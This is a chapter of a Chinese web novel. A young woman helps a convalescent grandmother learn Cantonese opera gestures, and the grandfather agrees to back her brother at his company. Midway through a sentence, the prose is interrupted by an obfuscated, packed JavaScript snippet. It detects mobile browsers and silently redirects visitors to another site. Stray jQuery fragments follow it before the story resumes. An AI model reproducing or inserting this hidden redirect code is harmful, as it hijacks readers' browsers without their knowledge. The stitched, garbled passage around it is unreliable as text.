30. 第 30 章

作品:《我要你爱我

    自从那天奶奶答应教她唱戏后,她的自主恢复欲望相比从前又要高上不少。


    平日里,就算没人陪着她,她也会自己锻炼面部肌肉,有人在时,她便会经常主动开口,说一些简短的话。


    “喝水……”


    护工立刻去倒水。


    “挡着……太阳……”


    夏夕怡立马将窗台上的盆栽挪到阳光下。


    “唱……”


    夏夕怡便跟着收音机一起唱着戏曲里的台词。


    “跳……给我看、看。”


    奶奶第一次提出这个要求时,夏夕怡还反应了一会儿。


    虽说她这几天一直在自学,但想要跳到好的程度是不可能的。


    可欣赏粤剧,看不见画面还是有些遗憾——因为奶奶眼睛不好,不能接触电子产品。


    所以她还是跳了。


    拈着兰花指,踏着碎步,跟随戏曲音生涩地翻腕模拟水袖的抖动、抛收,进行步法的转变……


    也就跳了不到一分钟,她便不好意思地停下,“奶奶,我就只会这些了。”


    “好……跳得、好……”


    没想到这样的三脚猫功夫也能得到奶奶的夸赞,夏夕怡惊喜地抬眼。


    奶奶坐在床头,脸上的笑容已经很明显了,眼中也能透出情绪来。


    那情绪就和夏夕怡曾经在电视里见过的,长辈看着小孩表演的眼神一样。


    带着宠溺和一点骄傲。


    当然这种情绪在奶奶眼底还很轻微,但也足够夏夕怡高兴了。


    于是拈着兰花指将手伸过去翻了翻,“奶奶,我这个动作总是做不好。”


    奶奶便颤巍巍地抬起手掰着她的手腕翻动。


    但由于她行动不便,脑子的想法在手上做不出来,于是好好的缠绕技巧变成了水蛇舞动。


    奶奶眼中露出懊恼,像个小孩一样倔强地瞪着眼睛,一副非做好不可的样子。


    “很久没看见老太太这样有活力了。”护工在一旁感慨道,“夏小姐,一开始老爷子让您离开,我还以为您不会再管老太太了,没想到……您和那些抱有目的来看老太太的人都不一样。”


    “……”夏夕怡不好意思地捋了捋头发,不知道怎么回应。


    无法坦然接受这句夸赞,因为她也并非全无目的。


    一开始是带着替谢家讨好爷爷奶奶的任务,现在变成了替谢涧得到爷爷奶奶的喜爱。


    那天在谢涧房中,虽然浑身紧绷,但也听见了母亲和他说的话。


    于是一下想到了他总是深夜应酬醉酒的事,或许就是因为他在公司并没有受到重视,于是他必须得如此努力,以博得爷爷的青睐。


    夏夕怡很想回报谢涧,唯一能做的便是这个。


    所以才尽己所能去做尝试。


    奶奶最终还是累了,放开了她的手腕,转去拍拍她的手。


    “再、再等等……”再等她恢复得好一些。


    夏夕怡收回思绪,轻轻笑起来,“好,我会陪着您的。”


    等奶奶睡着后,她回到休息室,拿出手机看了一眼。


    没有谢涧的消息。


    爸妈回国那晚过后,他好像更加忙了,之前还会偶尔来信息问问情况,现在好几日过去都悄无声息。


    担心是因为和爷爷吃饭提前离席的举动影响到了他,可夏夕怡又不知道该如何询问,犹豫再三也没有将消息发出去。


    休息室的桌上还放着习题册,里面都是她想破脑袋也做不出来的题。


    现如今她最大的烦恼也只来自这些,与踏入成人世界的谢涧所面对的完全不同,天差地别。


    心底浮现出莫名的空落感,她垂下眼,收起手机,坐到桌前,等秦老师来给她上课。


    ……


    日子又平静无波地过去了几天,夏夕怡在疗养院已经待了一个月了。


    李沐的状况肉眼可见地越来越好,已经能自己扶着助步器下床,也能掰着她的手腕做出正确的动作。


    “你……放松,这样……对!”


    清晨日光正好,病房内奶奶弯着眼温柔地纠正她的动作。


    夏夕怡同样也笑着,乖乖跟着她的教导来。


    “滴滴——”


    病房门发出轻轻的电子音,祖孙俩的教学太过认真,没注意到这微弱的声音。


    直到护工取了药剂回来,“谢董。”一声称呼吸引了祖孙俩的注意。


    夏夕怡一惊,站起身,“爷爷。”


    李沐如今的反应速度变快了,看见站在门边的谢良,对他笑了笑,轻声说:“你来了。”


    大概是太久没听见她的声音,谢良怔愣片刻,然后立即快步走进来。


    “阿沐……”他一时间不知道该说什么。


    李沐仍是笑着看他,又喊一声:“阿良。”


    虽然从护工那里得知爱人的康复状况,但怎么都比不上亲眼所见,亲耳听到。


    谢良深深地看她几秒,苍老的眼睛浮上红色,很快俯身抱住她,“对不起,公司实在太忙……”


    夏夕怡很识趣地默默回到休息室,坐到桌前愣神。


    在刚刚之前,她并不清楚爷爷对奶奶的爱有多深,因为他来探望的时间间隔很长,又总不固定,总是让奶奶等待,彷徨。


    但如今看来,爷爷对奶奶仍旧有很深的感情,虽然不关夏夕怡的事,但她仍然为奶奶感到开心。


    在休息室背了一会儿题,房门忽然被敲响。


    打开门意外地发现是爷爷,夏夕怡赶忙推开一步让他进来,“爷爷?”


    或许是因为奶奶的身体有所好转,爷爷的表情比起初见时要柔和许多,“我就不进去了,只是来跟你说点话。”


    “什么?”


    “很抱歉。”谢良说,“你是个好孩子,之前是爷爷错怪你了。”


    夏夕怡十分惶恐地摆手,“没……不用道歉的……”


    谢良摇摇头,“你知道,像我们这种人,看人无法不带着审视的目光,这是我们的生存之道,但我确实不该将这种目光放在你这样的孩子身上。”


    爷爷大概还有急事,看了眼腕表,“总之,你和她相处得很好,我很开心,之后我可能不会常来,麻烦你多照顾。”


    “……”无论如何也没想到爷爷找自己是为了说这个,夏夕怡没忍住皱了下眉。


    特意提起的不会常来,那大概就是比之前的频率还要低。


    可是,且不说她即将升上高三,就说奶奶,她已经等得很苦了,定是不愿爷爷再减少来看她的次数。


    “爷爷,您不觉得您现在来看奶奶的次数已经很少了吗?”她鼓起勇气说。


    谢良一顿,轻挑起眉看着她,但却又只是摇摇头。


    他没回答她这个问题,只说:“她明白我的。”


    随即又换了个话题,“我知道你明年要上高三了,让你总是上山或许会有些为难,你可以从我这要一样东西。”


    爷爷的主意不是夏夕怡三言两语能改变的,她便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938514|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不再说了。


    又听见爷爷提到照顾奶奶的条件,她下意识地想拒绝,因为她如今并不太缺什么东西。


    可转念一想,利益交换是商人的习惯,只有这样他们才会觉得事情得到保障。


    况且,这东西也不止可以为自己而要。


    张了张口,夏夕怡犹豫片刻,才道:“什么都可以吗?”


    爷爷看向她,“只要我能做到。”


    于是她便说:“那我希望,您在公司里能多帮帮哥哥。”


    她不懂公司的运作方式,并不敢提什么让哥哥升职加薪这样莽撞的要求,于是用了一个模棱两可的说法,具体怎么操作,都看爷爷怎么想。


    谢良闻言,眼底划过一丝讶异。


    既为夏夕怡的聪明,也为兄妹俩的感情之深。


    “确定要这个?”


    “嗯。”


    夏夕怡确认,谢良没再多说便离开了。


    她目送爷爷离开,直到他的背影消失,关上门,终于松了一口气,慢慢意识到自己刚刚得到了什么。


    很想和谢涧说一说这件事,但打开手机,看见上次聊天还是在家宴那晚,又萌生退意,默默将手机收了回去。


    没关系,反正爷爷已经答应了,她也算是回报了他一次。


    夏夕怡不由自主地扬起笑意,回到桌前继续背书。


    —


    携创集团。


    一个男人猛地推开一扇办公室的门。


    “姓谢的,你什么意思?用这种下作的手段抢我的项目?!”


    谢涧正在处理一通电话,面对面前激动的人只是稍一抬眼,很快又继续和电话对面的人交谈。


    “喂——!”男人更觉恼怒。


    梁齐从办公室门外急匆匆跑进来拉住男人,“啧,我就上个厕所的功夫,就让你小子进来了,去去去,有什么事你等会再说!”


    男人面色憋的涨红,“等什么?你要我等什么?我的项目,他借着慈善宴能和段总碰面说抢就抢,大几十亿的项目,他有这个能力能啃下吗?他组里才多少人?够他用吗?”


    谢涧仍在通话,嗓音沉稳,丝毫不乱。


    梁齐拉不动男人,脑门冒出细汗,心说自己改天一定要把这棒槌杀了。


    男人姓王,能够这么狂,完全不是因为他的能力,而是因为他背后有一个牛哄哄的老婆。


    他老婆管理的公司是携创的重要的供货商,所以这些年大家都忍着这个男人。


    谢涧平时也不会和他有过多的交流,可前些日子却越过所有人去联系了段总将项目握到手里,梁齐也没想明白他兄弟为什么要这么做。


    眼看着男人就要挣脱梁齐的束缚,谢涧终于通完电话。


    梁齐手一松,男人便冲到他办公桌前,面色狰狞压低身子,还没说话,他便抬手拦住了他。


    “从四月开始,项目交到你手中至今,四个月的时间,你们进度百分比是多少?”


    “……”男人哑然。


    “是零。”谢涧双手交叉放在身前桌上,淡淡掀起眼皮。


    明明是仰视着他,气势却比他更强,“王工,你组里十几号人,项目到手至今还停留在资料搜集,而我的组员五人,项目接手至今进度最慢的也已经到了风险评估阶段,你问我什么意思——”


    他轻嗤一声,眉眼一沉,眼神是家里小姑娘从未见过锐利与狠绝,“你告诉我,我有什么理由将这样的项目交给既没有人脉也没有手段只靠女人上位的废物?”